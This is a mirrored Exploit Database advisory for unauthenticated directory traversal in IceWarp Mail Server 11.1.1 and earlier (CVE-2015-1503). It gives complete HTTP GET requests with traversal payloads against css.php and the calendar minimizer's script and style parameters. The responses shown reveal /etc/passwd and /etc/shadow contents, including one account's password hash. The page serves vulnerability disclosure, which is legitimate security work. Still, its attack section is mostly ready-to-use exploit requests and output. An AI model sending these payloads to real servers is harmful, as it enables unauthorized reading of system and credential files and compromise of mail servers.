IceWarp Mail Server < 11.1.1 - Directory Traversal

• Exploit Database
• 113 阅读

• 作者： Trustwave's SpiderLabs
  日期： 2018-05-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44587/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120

  Vendor: IceWarp (http://www.icewarp.com) Product: IceWarp Mail Server Version affected: 11.1.1 and below   Product description: IceWarp WebMail provides web-based access to email, calendars, contacts, files and shared data from any computer with a browser and Internet connection. IceWarp Mail Server is a commercial mail and groupware server developed by IceWarp Ltd. It runs on Windows and Linux.   Finding 1: Multiple Unauthenticated Directory traversal Credit: Piotr Karolak of Trustwave's SpiderLabs CVE: CVE-2015-1503 CWE: CWE-22   #Proof of Concept   The unauthenticated Directory Traversal vulnerability can be exploited by issuing a specially crafted HTTP GET request to the /webmail/client/skins/default/css/css.php. Directory Traversal is a vulnerability which allows attackers to access restricted directories and execute commands outside of the web server's root directory.   This vulnerability affects /-.._._.--.._1416610368(variable, depending on the installation, need to check page source)/webmail/client/skins/default/css/css.php.   Attack details URL GET input file was set to ../../../../../../../../../../etc/passwd   Proof-of-Concept:   The GET or POST request might be sent to the host A.B.C.D where the IceWarp mail server is running:   REQUEST ======= GET /-.._._.--.._1416610368/webmail/client/skins/default/css/css.php?file=../../../../../../../../../../etc/passwd&palette=default&skin=default HTTP/1.1 Referer: http://a.b.c.d/ Cookie: PHPSESSID_BASIC=wm-54abaf5b3eb4d824333000; use_cookies=1; lastLogin=en%7Cbasic; sess_suffix=basic; basic_disable_ip_check=1; lastUsername=test; language=en Host: a.b.c.d Connection: Keep-alive Accept-Encoding: gzip,deflate Accept: */*     RESPONSE: ========= root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin   ....TRUNCATED   test:x:1000:1000:test,,,:/home/test:/bin/bash smmta:x:116:125:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false smmsp:x:117:126:Mail Submission Program,,,:/var/lib/sendmail:/bin/false mysql:x:118:127:MySQL Server,,,:/nonexistent:/bin/false   The above proof-of-concept would retrieve the /etc/passwd file (the response in this example has been truncated).   #Proof of Concept   The unauthenticated Directory Traversal vulnerability can be exploited by issuing a specially crafted HTTP GET and POST request payload ..././..././..././..././..././..././..././..././..././..././etc/shadow submitted in the script and/or style parameter.Directory Traversal is a vulnerability which allows attackers to access restricted directories and execute commands outside of the web server's root directory.   The script and style parameters are vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.   REQUEST 1 =========   GET /webmail/old/calendar/minimizer/index.php?script=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fshadow HTTP/1.1 Host: a.b.c.d Accept: */* Accept-Language: en Connection: close Referer: http://a.b.c.d/webmail/old/calendar/index.html?_n[p][content]=event.main&_n[p][main]=win.main.public&_n[w]=main Cookie: use_cookies=1; PHPSESSID_LOGIN=08dj6q5s8tlmn126fo3vg80n47; sess_suffix=basic; lastUsername=test; PHPSESSID_CALENDAR=ji3306tg3fecg1foun2ha6dnu1; GUI=advanced; LANG=TURKISH; PHPSESSID_BASIC=wm-54a5b90472921449948637; lastLogin=en%7Cpda; prefered_version=0; PHPSESSID_PDA=ji3306tg3fecg1foun2ha6dnu1; language=en   REQUEST 2 =========   GET /webmail/old/calendar/minimizer/index.php?style=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fshadow HTTP/1.1 Host: a.b.c.d Accept: */* Accept-Language: en Connection: close Cookie: use_cookies=1; PHPSESSID_LOGIN=08dj6q5s8tlmn126fo3vg80n47; sess_suffix=basic; lastUsername=test; PHPSESSID_CALENDAR=ji3306tg3fecg1foun2ha6dnu1; GUI=advanced; LANG=TURKISH; PHPSESSID_BASIC=wm-54a5b90472921449948637; lastLogin=en%7Cpda; prefered_version=0; PHPSESSID_PDA=ji3306tg3fecg1foun2ha6dnu1; language=en   RESPONSE ======== HTTP/1.1 200 OK Connection: close Server: IceWarp/11.1.1.0 Date: Thu, 03 Jan 2015 06:44:23 GMT Content-type: text/javascript; charset=utf-8   root:!:16436:0:99999:7::: daemon:*:16273:0:99999:7::: bin:*:16273:0:99999:7::: sys:*:16273:0:99999:7::: sync:*:16273:0:99999:7::: games:*:16273:0:99999:7::: man:*:16273:0:99999:7::: lp:*:16273:0:99999:7:::   ....TRUNCATED   lightdm:*:16273:0:99999:7::: colord:*:16273:0:99999:7::: hplip:*:16273:0:99999:7::: pulse:*:16273:0:99999:7::: test:$1$Duuk9PXN$IzWNTK/hPfl2jzhHmnrVL.:16436:0:99999:7::: smmta:*:16436:0:99999:7::: smmsp:*:16436:0:99999:7::: mysql:!:16436:0:99999:7:::